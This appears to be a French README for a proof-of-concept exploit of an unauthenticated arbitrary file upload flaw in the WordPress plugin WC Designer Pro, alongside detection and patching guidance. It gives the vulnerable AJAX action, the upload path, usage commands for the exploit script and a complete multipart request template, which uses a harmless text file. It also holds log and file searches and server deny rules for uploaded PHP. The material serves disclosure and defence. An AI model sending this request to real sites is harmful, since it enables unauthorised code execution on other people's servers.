
Exploit d'exécution de code à distance non authentifié pour le plugin WordPress WC Designer Pro. Automatise la détection, le téléchargement de fichiers et l'accès au shell via un point de terminaison AJAX vulnérable.
WC Designer Pro contient une vulnérabilité de téléversement de fichier arbitraire non authentifié dans une action AJAX exposée via le point de terminaison admin-ajax.php de WordPress.
Le gestionnaire concerné traite les métadonnées de fichier contrôlées par l'utilisateur et le contenu des fichiers sans appliquer une authentification, une autorisation, une validation d'extension, une validation du type MIME ou des restrictions de nom de fichier côté serveur adéquates.
Dans des configurations vulnérables, un attaquant non authentifié peut être en mesure de téléverser un fichier exécutable par le serveur dans un répertoire accessible via le web. Une exploitation réussie peut entraîner l'exécution de code à distance sous les privilèges du processus du serveur web.
| Propriété | Valeur |
|---|---|
| Produit | WC Designer Pro |
| Plateforme | WordPress |
| Classe de vulnérabilité | Téléversement de fichier arbitraire sans restriction |
| CWE | CWE-434 |
| Authentification requise | Non |
| Interaction utilisateur requise | Non |
| Impact potentiel | Exécution de code à distance |
| Complexité de l'attaque | Faible |
| Composant vulnérable | Gestionnaire de téléversement AJAX de WordPress |
| Action AJAX | wcdp_save_canvas_design_ajax |
La plage exacte de versions concernées, l'identifiant CVE et le score CVSS ne doivent être publiés qu'après avoir été vérifiés de manière indépendante.
Une exploitation réussie pourrait permettre à un attaquant non authentifié de :
L'impact final dépend de la configuration du serveur web, des règles d'exécution PHP, des permissions du système de fichiers et des contrôles de sécurité déployés par le fournisseur d'hébergement.
La plage de versions concernées est actuellement en cours de validation.
Produit : WC Designer Pro
Versions concernées : À confirmer
Version corrigée : À confirmer
Statut du correctif : À confirmer
N'affirmez pas que toutes les versions sont concernées, sauf si des tests ou une confirmation du fournisseur soutiennent cette conclusion.
Le flux de téléversement vulnérable semble faire confiance aux valeurs contrôlées par l'attaquant fournies à l'action AJAX suivante :
wcdp_save_canvas_design_ajax
La requête contient des métadonnées de fichier telles que :
La vulnérabilité existe lorsque le serveur accepte ces valeurs sans effectuer tous les contrôles suivants :
Requête non authentifiée
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Validation insuffisante du fichier téléversé
│
▼
Fichier écrit dans un répertoire accessible via le web
│
▼
Exécution potentielle de code côté serveur
Le chemin de téléversement observé suit cette structure :
/wp-content/uploads/wcdp-uploads/temp/{identifiant}/{nom_du_fichier}
Le chemin exact peut varier selon la version du plugin, la configuration WordPress et l'environnement serveur.
pipCette preuve de concept ne doit pas être utilisée contre des systèmes tiers sans autorisation écrite explicite.
Clonez le dépôt :
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
Créez et activez un environnement virtuel :
python3 -m venv .venv
source .venv/bin/activate
Sous Windows :
python -m venv .venv
.venv\Scripts\Activate.ps1
Installez les dépendances :
pip install -r requirements.txt
Exemple de requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
La preuve de concept ne doit être exécutée que contre une seule cible de laboratoire autorisée.
python3 exploit.py --url https://wordpress-lab.example
Pour une vérification non destructive :
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
Exemple de fichier de vérification :
Vérification de sécurité WC Designer Pro
Chercheur : m2hcz
Objectif : Test non destructif autorisé
Utilisez la commande d'aide intégrée pour afficher les arguments pris en charge :
python3 exploit.py --help
Exemple de sortie :
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
PoC de vérification de téléversement de fichier arbitraire WC Designer Pro
options:
-h, --help affiche ce message d'aide et quitte
--url URL cible WordPress autorisée
--file FILE fichier de vérification inoffensif
--timeout SECONDS délai d'expiration de la requête HTTP
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
La requête invoque :
action=wcdp_save_canvas_design_ajax
Une structure de requête simplifiée est présentée ci-dessous :
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Vérification de sécurité autorisée
------Boundary--
Cet exemple utilise intentionnellement un fichier texte non exécutable.
Une requête réussie peut renvoyer une réponse similaire à :
{
"userID": false,
"filesCMYK": [],
"success": true
}
Une réponse réussie seule ne prouve pas l'exécution de code à distance. Le chercheur doit confirmer séparément que :
La procédure de vérification recommandée est la suivante :
.txt inoffensif.Évitez de téléverser des shells web ou des charges utiles d'exécution de commandes lorsqu'un fichier marqueur inoffensif suffit à démontrer la vulnérabilité.
Un rapport valide doit contenir :
Les administrateurs doivent inspecter le répertoire suivant :
/wp-content/uploads/wcdp-uploads/temp/
Les indicateurs potentiels incluent :
.php, .phtml, .phar ou autres fichiers exécutables inattendus.admin-ajax.php utilisant l'action AJAX concernée.Exemple de recherche dans les journaux :
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
Exemple de recherche dans le système de fichiers :
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
Les administrateurs de sites doivent :
Pour Nginx, refusez l'exécution PHP dans les téléversements :
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Pour Apache, placez une règle appropriée dans le répertoire de téléversements :
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
Ces contrôles sont des mesures de défense en profondeur et ne remplacent pas la correction du code vulnérable du plugin.
Les mainteneurs du plugin doivent :
current_user_can().wp_check_filetype_and_ext().Ce dépôt est destiné exclusivement à :
N'utilisez pas ce code pour accéder, modifier, perturber ou compromettre des systèmes sans autorisation explicite.
L'auteur n'est pas responsable de l'utilisation non autorisée, illégale ou abusive de ce matériel. Les utilisateurs sont seuls responsables du respect des lois, contrats, règles d'engagement et exigences de divulgation coordonnée des vulnérabilités applicables.
Date de découverte : À ajouter
Fournisseur contacté : À ajouter
Réponse du fournisseur : À ajouter
Correctif publié : À ajouter
CVE demandé : À ajouter
CVE attribué : À ajouter
Divulgation publique : À ajouter
Ne publiez pas un CVE provisoire comme s'il s'agissait d'un identifiant attribué.
Lorsqu'un CVE est attribué, remplacez le texte provisoire par l'enregistrement officiel :
CVE : CVE-AAAA-NNNNN
CVSS : Évaluation officielle ou documentée par le chercheur
La recherche en sécurité doit réduire les risques, pas en créer.
Conçu pour des tests de sécurité autorisés par m2hcz.